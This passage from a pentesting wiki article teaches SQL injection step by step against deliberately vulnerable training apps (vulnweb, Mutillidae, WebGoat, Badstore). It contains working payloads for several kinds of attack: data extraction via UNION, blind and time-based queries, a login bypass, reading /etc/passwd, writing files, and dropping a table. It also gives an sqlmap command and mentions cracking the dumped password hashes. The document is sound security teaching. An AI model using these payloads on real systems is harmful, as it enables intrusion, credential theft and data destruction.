* &amp;lt;b&amp;gt;Error-based SQLi&amp;lt;/b&amp;gt;&lt;br /&gt;
The URL we are targeting is http://testphp.vulnweb.com/artists.php?artist=1, which we want to manipulate. Somehow we want to pass a wrong SQL query to the backend database, to see if we receive an error message. A vulnerable web application will show one, while a secure server should never show error messages to regular website visitors. &amp;lt;br&amp;gt;&lt;br /&gt;
Now we try adding a single quote to the SQL query, which generates an error message as shown in the following screenshot.&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Error1.PNG|thumb|none|500px|Results of query http://testphp.vulnweb.com/artists.php?artist=1%27]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Next, we try inserting an ORDER-BY clause into the query, which will tell us how many columns there are in the current table and will display the corresponding column. The URL used is http://testphp.vulnweb.com/artists.php?artist=1+order+by+50, estimating the column number at 50. This will generate the same error message as the above screenshot shows, which tells us there are less than 50 columns. By trial and error, the correct number of columns is 3, seen as http://testphp.vulnweb.com/artists.php?artist=1+order+by+3 no longer displays an error (as can be seen in the following screenshot), but the contents of the first column of the &amp;lt;i&amp;gt;artists&amp;lt;/i&amp;gt; table.&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Error2.PNG|thumb|none|500px|Results of query http://testphp.vulnweb.com/artists.php?artist=1+order+by+3]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #eeb553; background-color: #f8e2bc; color: #c17c04; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Conclusion: &amp;lt;/b&amp;gt;This SQLi example demonstrated responses of the web application via producing error messages and using these to gather information about the backend database.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;b&amp;gt;Union-based SQLi&amp;lt;/b&amp;gt;&lt;br /&gt;
We will now utilize the UNION query, which allows us to access values from other tables as well by appending the UNION query to our original query. First, we can try using a negative ID, as it is unlikely to be an actual used ID n a database, and append the UNION query, enumerating the values we want. The number of values must be equal to the actual number of columns of the table, otherwise it won&#039;t work. From the previous example we know the number of columns to be three, so we must use three values in our query, which will then look like this: http://testphp.vulnweb.com/artists.php?artist=-1+union+select+1,2,3. &lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Union image.PNG|thumb|none|500px|Results of query http://testphp.vulnweb.com/artists.php?artist=-1+union+select+1,2,3]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
In the above screenshot, we can see where our values will be shown (the numbers 2 and 3). These may also be hidden, in which case the page needs to be inspected in the browser to reveal hidden text. Now that we know where to look for the values, we can try to extract some useful information, like database name, version or current user.&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Union image2.PNG|thumb|none|500px|Results of query http://testphp.vulnweb.com/artists.php?artist=-1+union+select+1,version(),current_user()]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
We can also insert a whole new statement instead of one of the values, to extract more information. An example would be http://testphp.vulnweb.com/artists.php?artist=-1+union+select+1,2,(SELECT+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()) to view all tables.&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Union image3.PNG|thumb|none|500px|Results of query http://testphp.vulnweb.com/artists.php?artist=-1+union+select+1,2,(SELECT+group_concat(table_name)+from+information_schema.tables+where+table_schema=database())]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
You could also view all columns of a specified table once you know the table names:&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Union-columns.PNG|thumb|none|500px|Results of query http://testphp.vulnweb.com/artists.php?artist=-1+union+select+1,2,(SELECT+group_concat(column_name)+from+information_schema.columns+where+table_name=%27artists%27)]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
To view what information is saved about each user in the &amp;quot;users&amp;quot; table, it would look like this:&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Users.PNG|thumb|none|500px|Results of query http://testphp.vulnweb.com/artists.php?artist=-1+union+select+1,2,(SELECT+group_concat(column_name)+from+information_schema.columns+where+table_name=%27users%27)]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #eeb553; background-color: #f8e2bc; color: #c17c04; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Conclusion: &amp;lt;/b&amp;gt;These SQLi examples demonstrated responses of the web application via extracting information from the backend database utilizing the UNION query. This allowed inserting database functions and separate SELECT statements to formulate new queries and effectively extract column/table names and values.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;b&amp;gt;Boolean-based/Blind SQLi&amp;lt;/b&amp;gt;&lt;br /&gt;
This type of SQLi does not display the actual content from the database like the previous examples, but rather displays two different views depending on whether the query sent to the database returns true or false. We start by determining how the web application reacts with a true query. For this, we use an &amp;quot;always true&amp;quot; query, such as http://testphp.vulnweb.com/artists.php?artist=1+AND+1=1. Afterward, we use an always false query, such as http://testphp.vulnweb.com/artists.php?artist=1+AND+1=2. This offers two different outcomes, as seen in the following figure.&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:True-false.PNG|thumb|none|800px|Results of query http://testphp.vulnweb.com/artists.php?artist=-1+union+select+1,2,(SELECT+group_concat(column_name)+from+information_schema.columns+where+table_name=%27users%27)]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Knowing how the database reacts to a true/false query now allows us to ask it specific questions:&amp;lt;br&amp;gt;&lt;br /&gt;
- How long is the name of the database? We can guess the number of letters.&amp;lt;br&amp;gt;&lt;br /&gt;
- What is the name of users/tables/columns/the database itself? We can guess each letter.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Such a query to guess the length of the database name would look like this: http://testphp.vulnweb.com/artists.php?artist=1+AND+(length(database()))=6 &amp;lt;br&amp;gt;&lt;br /&gt;
To guess each letter of i.e. the first table would look like this: http://testphp.vulnweb.com/artists.php?artist=1+AND+(ascii(substr((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1,1)))%3E100. Here, ASCII values are used, i.e. 100. The question is whether the first letter is bigger than 100. This query is false, telling us the first letter is in fact smaller than 100 and turns out to be 97, which corresponds to letter &amp;quot;a&amp;quot;.&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #eeb553; background-color: #f8e2bc; color: #c17c04; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Conclusion: &amp;lt;/b&amp;gt;This type of SQLi is more exhausting to execute, as the server can only answer YES or NO. It won&#039;t just provide a list of items like the UNION-based. The previous examples demonstrate some of the &amp;quot;questions&amp;quot; the attacker can ask, however the sky is the limit. Any yes/no question is possible here and offers a great way to gather information.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;b&amp;gt;Time-based/Blind SQLi&amp;lt;/b&amp;gt;&lt;br /&gt;
To test against this vulnerability, use the SLEEP() function like this: http://testphp.vulnweb.com/artists.php?artist=1-SLEEP(5). If the response from the web application is delayed, the application is vulnerable. When a query is true, the database lags, and when it is false, there won&#039;t be a delay. This way the attacker can ask specific true/false queries just like with the boolean-based SQLi. A true query would be http://testphp.vulnweb.com/artists.php?artist=1-IF((length(database()))=6,SLEEP(5),0), as the database name is 6 letters long. Therefore a false query could be for example http://testphp.vulnweb.com/artists.php?artist=1-IF((length(database()))=7,SLEEP(5),0), which loads right away without delay.&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #eeb553; background-color: #f8e2bc; color: #c17c04; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Conclusion: &amp;lt;/b&amp;gt;To exploit this vulnerability is a somewhat slower process than the boolean-based SQLi, as it always takes some time to get a response from a database. The &amp;quot;sleep&amp;quot; function also looks different for each kind of database, so the knowledge of the used server is necessary.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== OWASP Mutillidae ==&lt;br /&gt;
A dedicated wiki article with an explanation of this vulnerable web application can be found here: [[OWASP Mutillidae]]. We will now focus on the SQL injection in the &amp;quot;OWASP 2017&amp;quot; category, which looks like this:&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Mutillidae1.png|thumb|none|800px|Overview of SQL injection in OWASP Mutillidae]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
* &amp;lt;b&amp;gt;SQLi - Extract Data&amp;lt;/b&amp;gt;&lt;br /&gt;
We will try for an error-based SQLi, inserting a false query. The error-message that is displayed afterwards gives us a lot of information about the backend structure, and how the SQL query looks like.&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Mutillidae2.png|thumb|none|800px|Error message]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Now we insert &amp;lt;b&amp;gt;&#039; OR 1=1 -- &amp;lt;/b&amp;gt; (with whitespace behind the double dash) which executed the query &amp;lt;b&amp;gt;SELECT * FROM accounts WHERE username=&#039;&#039; OR 1=1&amp;lt;/b&amp;gt;, which always returns true, thus returns the &amp;quot;accounts&amp;quot; table&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Mutillidae3.png|thumb|none|500px|Extracts all entries from the &amp;quot;accounts&amp;quot; table]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
We will try the union-based SQLi now. To do this we must match the number of columns. Let&#039;s first try this query: &amp;lt;b&amp;gt;&#039; union select null -- &amp;lt;/b&amp;gt;. We get this error:&lt;br /&gt;
 error: The used SELECT statements have a different number of columns&lt;br /&gt;
We keep appending values to increase the number of columns until we get no error with the query &amp;lt;b&amp;gt;&#039; union select 1,2,3,4,5,6,7 -- &amp;lt;/b&amp;gt;:&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Mutillidae4.png|thumb|none|500px]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Now that we know which values are displayed, we can replace &amp;lt;b&amp;gt;2,3,4&amp;lt;/b&amp;gt; with the data we want to extract.&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Mutillidae5.png|thumb|none|500px|Get database name and version]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
To extract information about the tables, use the query &amp;lt;b&amp;gt;&#039; union select 1,table_name,null,null,5,6,7 from information_schema.tables where table_schema = &#039;mutillidae&#039; -- &amp;lt;/b&amp;gt;:&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Mutillidae6.png|thumb|none|500px|Get database name and version]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;b&amp;gt;SQLi - Reading and writing data on the Webserver&amp;lt;/b&amp;gt;&lt;br /&gt;
We can use the “LOAD_FILE()” operator to read out the contents of any file contained within the webserver &amp;lt;ref&amp;gt;David Artykov, &#039;&#039;Exploiting SQL injection vulnerabilities&#039;&#039;, July 2020, Purple Team, accessed on: 05.01.2022. [Online]. Available: https://medium.com/purple-team/exploiting-sql-injection-vulnerabilities-76df9b85dd7&amp;lt;/ref&amp;gt;. We will typically check for the “/etc/passwd” file to see if we get lucky and scoop usernames and passwords to possibly use in brute force attacks later. Below is a list of some sensitive files on Linux systems:&lt;br /&gt;
 /proc/cmdline&lt;br /&gt;
 /etc/system.d&lt;br /&gt;
 /etc/rc.*&lt;br /&gt;
 /etc/init.*&lt;br /&gt;
 /etc/profile&lt;br /&gt;
 ~/.bash_profile&lt;br /&gt;
 ~/.bash_login&lt;br /&gt;
 ~/.profile./home/user/.bashrc&lt;br /&gt;
 /etc/bash.bashrc&lt;br /&gt;
 /etc/profile.d/&lt;br /&gt;
 /etc/hosts&lt;br /&gt;
 /etc/resolv.conf&lt;br /&gt;
 /etc/passwd&lt;br /&gt;
 /etc/shadow&lt;br /&gt;
 /etc/group&lt;br /&gt;
 /etc/gshadow&lt;br /&gt;
 /etc/pam.d &lt;br /&gt;
 /usr/bin&lt;br /&gt;
 /usr/local/bin&lt;br /&gt;
To read the contents of the “/etc/passwd” file, we enter the query &amp;lt;b&amp;gt;&#039; union select 1,load_file(&#039;/etc/passwd&#039;),3,4,5,6,7 -- &amp;lt;/b&amp;gt;:&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Mutillidae7.png|thumb|none|800px|Read data from webserver&#039;s /etc/passwd]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
To write into a file on the server, use &amp;quot;into outfile&amp;quot;. An example query would look like this: &amp;lt;b&amp;gt;&#039; union select 1,&#039;PS: This is a hacker&#039;,3,4,5,6,7 into outfile &#039;/tmp/hello.txt&#039; -- &amp;lt;/b&amp;gt;&lt;br /&gt;
We can verify the created file.&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Mutillidae8.png|thumb|none|500px|Read data from webserver&#039;s /etc/passwd]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;b&amp;gt;SQLi - Bypass Authentication&amp;lt;/b&amp;gt;&lt;br /&gt;
This category lands us on the login page. When we enter an always true query, such as &amp;lt;b&amp;gt;&#039; OR 1=1 -- &amp;lt;/b&amp;gt;, we get logged into the web application.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;b&amp;gt;SQLMap&amp;lt;/b&amp;gt;&lt;br /&gt;
SQLMap is a tool for detecting and taking advantage of SQL injection vulnerabilities in web applications. Once it detects one or more SQL injections on the target host, the user can choose among a variety of options to perform an extensive back-end database management system fingerprint, retrieve DBMS session user and database, enumerate users, password hashes, privileges, databases, dump entire or user’s specific DBMS tables/columns, run their own SQL statement, read specific files on the file system and more &amp;lt;ref&amp;gt;Kali Tools Page, &#039;&#039;sqlmap&#039;&#039;, accessed on: 05.01.2022. [Online]. Available: https://www.kali.org/tools/sqlmap/&amp;lt;/ref&amp;gt;.&lt;br /&gt;
To execute SQLMap, first we want to enter false credentials onto the Mutillidae login page, and copy the URL that this query creates. Then we use this URL in our SQLMap command, which looks like this (the IP is no longer localhost, because the SQLMap was executed on the Mutillidae that is on the Metasploitable VM by default):&lt;br /&gt;
 sudo sqlmap -u &amp;quot;http://192.168.0.105/mutillidae/index.php?page=user-info.php&amp;amp;username=test&amp;amp;password=1234&amp;amp;user-info-php-submit-button=View+Account+Details&amp;quot;&lt;br /&gt;
&lt;br /&gt;
== WebGoat ==&lt;br /&gt;
WebGoat is a deliberately insecure web application maintained by OWASP designed to teach web application security lessons &amp;lt;ref&amp;gt;WebGoat Github, &#039;&#039;WebGoat&#039;&#039;, 2022, accessed on: 08.01.2022. [Online]. Available: https://github.com/WebGoat/WebGoat&amp;lt;/ref&amp;gt;. The documentation wiki can be found here: [[WebGoat]]. For details please refer to the official [https://github.com/WebGoat/WebGoat GitHub]. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
There are four under-categories in the SQLi category:&lt;br /&gt;
* SQLi intro&lt;br /&gt;
* SQLi advanced&lt;br /&gt;
* SQLi mitigation&lt;br /&gt;
* Path traversal&lt;br /&gt;
In the screenshot below, the overview of different challenges/lessons is available:&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Webgoat2.png|thumb|none|600px|Home page]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
We will be focusing on SQL injection, which is the A1 category above. The following screenshots are examples from the &amp;lt;b&amp;gt;SQLi intro&amp;lt;/b&amp;gt; category:&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Webgoat3.png|thumb|none|500px|String SQL injection]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Webgoat4.png|thumb|none|500px|Numeric SQL injection]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Webgoat5.png|thumb|none|500px|Compromising confidentiality]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Webgoat6.png|thumb|none|500px|Compromising integrity, Authentication TAN: &amp;lt;b&amp;gt;3SL99A&#039;; UPDATE employees SET salary=10000000 WHERE auth_tan=&#039;3SL99A&#039; --&amp;lt;/b&amp;gt;]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Webgoat7.png|thumb|none|500px|Action contains: &amp;lt;b&amp;gt;update&#039;; drop table access_log --&amp;lt;/b&amp;gt;]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Following are examples from the category &amp;lt;b&amp;gt;SQLi advanced&amp;lt;/b&amp;gt;:&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Webgoat8.png|thumb|none|500px|Name: &amp;lt;b&amp;gt;update&#039;; select * from user_system_data;--&amp;lt;/b&amp;gt;]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Webgoat9.png|thumb|none|500px|An alternative solution--&amp;gt; &amp;lt;b&amp;gt;&#039; union select user_name, password, cookie, 4, 5, 6, 7 from user_system_data; -- &amp;lt;/b&amp;gt; &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;When working with the UNION operator, there are two rules that need to be kept in mind, which also explain the syntax of the injected command:&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
* The number of columns selected in each statement must be the same.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
* The datatype of the first column in the first SELECT statement, must match the datatype of the first column in the second (third, fourth, …​) SELECT Statement. The Same applies to all other columns.]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Badstore ==&lt;br /&gt;
The VM can be downloaded [https://www.vulnhub.com/entry/badstore-123,41/ here]&amp;lt;ref&amp;gt;Vulnhub, &#039;&#039;Badstore: 1.2.3&#039;&#039;, 24 Feb 2004, Badstore, accessed on: 25.01.2022. [Online]. Available: https://www.vulnhub.com/entry/badstore-123,41/&amp;lt;/ref&amp;gt;. After setting up the VM, you need to find its IP address to be able to access the web interface from another VM. In our case, Badstore&#039;s IP address is 192.168.0.113.&amp;lt;br&amp;gt;&lt;br /&gt;
[[File:Badstore1.PNG|thumb|none|500px| Landing page of Badstore]]&lt;br /&gt;
&lt;br /&gt;
We navigate to the login page first. To try for a basic SQL injection vulnerability, we will try entering a hyphen. This shows the following error message from the database, revealing a vulnerability to error-based SQLi.&lt;br /&gt;
 DBD::mysql::st execute failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near  &#039;d41d8cd98f00b204e9800998ecf8427e&#039;&#039; at line 1 at /usr/local/apache/cgi-bin/badstore.cgi line 1144.&lt;br /&gt;
&lt;br /&gt;
We now test the search field, and search for &amp;quot;test1&amp;quot;. Below can be seen the reaction of the server, which reveals the whole SQL query.&lt;br /&gt;
[[File:Badstore2.PNG|thumb|none|500px| Landing page of Badstore]]&lt;br /&gt;
Here it can be experimented with all the previously mentioned techniques. We will focus on gaining access to the database via finding the user login data.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now let&#039;s look at the &amp;quot;userdb&amp;quot; table, whose name can be guessed based on the name of &amp;quot;itemdb&amp;quot; table. This has 4 columns, as can be seen below with the query &amp;lt;b&amp;gt;1’=’0’ UNION SELECT 100, 200, 300, 1000 from userdb #&amp;lt;/b&amp;gt;.&lt;br /&gt;
[[File:Badstore3.PNG|thumb|none|600px| query &amp;lt;b&amp;gt;1’=’0’ UNION SELECT 100, 200, 300, 1000 from userdb #&amp;lt;/b&amp;gt; revealing where to look for extracted values from the database]]&lt;br /&gt;
To find out the field names, we can inspect the login page, which reveals the following information:&lt;br /&gt;
[[File:Badstore4.PNG|thumb|none|600px| Inspect register form of login page]]&lt;br /&gt;
We will extract the users with their emails, full names and password hashes:&lt;br /&gt;
[[File:Badstore5.PNG|thumb|none|600px| Users list with &amp;lt;b&amp;gt;xx&#039; IN (itemnum,sdesc,ldesc) union select email,fullname,passwd,123 from userdb -- &amp;lt;/b&amp;gt;]]&lt;br /&gt;
This is an MD5 hash, which can be cracked with the tool &amp;quot;John&amp;quot; in Kali Linux.&lt;br /&gt;
[[File:Badstore6.PNG|thumb|none|500px| Revealed passwords]]&lt;br /&gt;
&lt;br /&gt;
== DVWA ==&lt;br /&gt;
The so-called damn vulnerable web app (DVWA) is a vulnerable PHP / MySQL web service &amp;lt;ref&amp;gt;DVWA, 2022, accessed on: 05.01.2022. [Online]. Available: http://web.archive.org/web/20220704004431/http://www.dvwa.co.uk//&amp;lt;/ref&amp;gt;&amp;lt;ref&amp;gt;DVWA Github, 2022, accessed on: 05.01.2022. [Online]. Available: https://github.com/digininja/DVWA&amp;lt;/ref&amp;gt;. For the wiki article with a tutorial on how to set up the DVWA and specific SQLi examples, please refer to [[DVWA]] wiki.&lt;br /&gt;
&lt;br /&gt;
== BWAPP ==&lt;br /&gt;
The BWAPP, the so-called buggy web application, is a PHP application that uses a MySQL database. It is documented in the wiki article [[BWAPP]]. There is a tutorial on installation and examples of the SQLi.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>LJahn</name></author>
	</entry>
</feed>